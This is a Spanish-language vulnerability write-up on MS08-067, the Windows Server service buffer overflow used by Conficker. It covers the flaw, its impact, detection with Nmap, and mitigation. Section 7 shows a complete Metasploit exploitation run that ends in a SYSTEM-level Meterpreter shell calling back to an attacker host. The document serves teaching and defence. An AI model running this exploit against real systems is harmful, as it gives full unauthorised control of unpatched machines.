1. Descripción técnica del ataque
MS08-067 (CVE-2008-4250) es una vulnerabilidad crítica en el servicio Server (Server / srvsvc) de Microsoft Windows, expuesto a través de SMB sobre el puerto 445 (y 139). El fallo es un desbordamiento de búfer en la fase de canonicalización de rutas dentro de la función NetPathCanonicalize() de la librería netapi32.dll.
Un atacante puede enviar una petición RPC especialmente manipulada (con una ruta que contenga secuencias ..\ cuidadosamente construidas) que provoca el desbordamiento y permite sobrescribir memoria y desviar el flujo de ejecución, logrando ejecución de código arbitrario con privilegios de NT AUTHORITY\SYSTEM.
En sistemas vulnerables (notablemente Windows 2000, XP y Server 2003) el ataque puede realizarse sin autenticación previa, ya que el endpoint RPC es accesible de forma anónima.
2. Impacto de la vulnerabilidad
- Ejecución remota de código como SYSTEM, el máximo privilegio en Windows: compromiso total e inmediato del equipo.
- Propagación tipo gusano (worm): al no requerir interacción del usuario ni autenticación, fue usada por malware autopropagable como Conficker (2008-2009), que infectó millones de equipos.
- Sigue siendo uno de los exploits "garantizados" contra hosts Windows legacy en laboratorios y CTFs.
3. Historia y evolución
- 23 de octubre de 2008: Microsoft publica el boletín MS08-067 de forma fuera de ciclo (out-of-band) dada su gravedad, antes del martes de parches habitual.
- A finales de 2008 aparece el gusano Conficker/Downadup, que explota MS08-067 para propagarse masivamente.
- El módulo
exploit/windows/smb/ms08_067_netapide Metasploit lo convierte en uno de los exploits más utilizados y didácticos de la historia del pentesting.
4. Factores que la hacen posible
- Un sistema Windows sin el parche MS08-067 (Windows 2000, XP, Server 2003 principalmente).
- El servicio Server activo y el puerto SMB (445/139) accesible.
- Acceso anónimo/nulo al endpoint RPC
srvsvc, que permite alcanzar la función vulnerable sin credenciales.
5. Detección
- Script de Nmap dedicado:
nmap -p445 --script smb-vuln-ms08-067 target- Escaneo general de vulnerabilidades SMB:
nmap -p445 --script vuln target- Metasploit: el propio módulo realiza un check/fingerprint del target (versión y service pack) antes de explotar.
6. Mitigación
- Aplicar el parche MS08-067 (solución definitiva).
- Migrar sistemas operativos fuera de soporte (Windows 2000/XP/2003 ya no reciben actualizaciones).
- Filtrar SMB (445/139) en el perímetro y segmentar la red para que el servicio no sea accesible desde redes no confiables.
- Deshabilitar SMBv1 y servicios innecesarios; aplicar principio de mínima exposición.
7. Ejemplo de explotación real
Con Metasploit, contra un Windows XP vulnerable:
msf6 > use exploit/windows/smb/ms08_067_netapi
msf6 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 192.168.1.139
msf6 exploit(windows/smb/ms08_067_netapi) > set LHOST 192.168.1.5
msf6 exploit(windows/smb/ms08_067_netapi) > run
[*] 192.168.1.139:445 - Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] Sending stage (176198 bytes) to 192.168.1.139
[*] Meterpreter session 1 opened
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM8. Clasificación
- Tipo: Buffer Overflow → Remote Code Execution
- CVE: CVE-2008-4250 (boletín MS08-067)
- CWE:
- CWE-119 – Improper Restriction of Operations within the Bounds of a Memory Buffer
- CWE-787 – Out-of-bounds Write
9. Resumen
MS08-067 es un desbordamiento de búfer en el servicio Server de Windows, alcanzable vía SMB sin autenticación, que otorga RCE como SYSTEM. Fue el vector del gusano Conficker y continúa siendo un exploit de referencia contra hosts Windows legacy. La defensa es parchear, retirar los sistemas sin soporte y restringir el acceso a SMB. Relacionada con MS17-010 como vulnerabilidad crítica de SMB.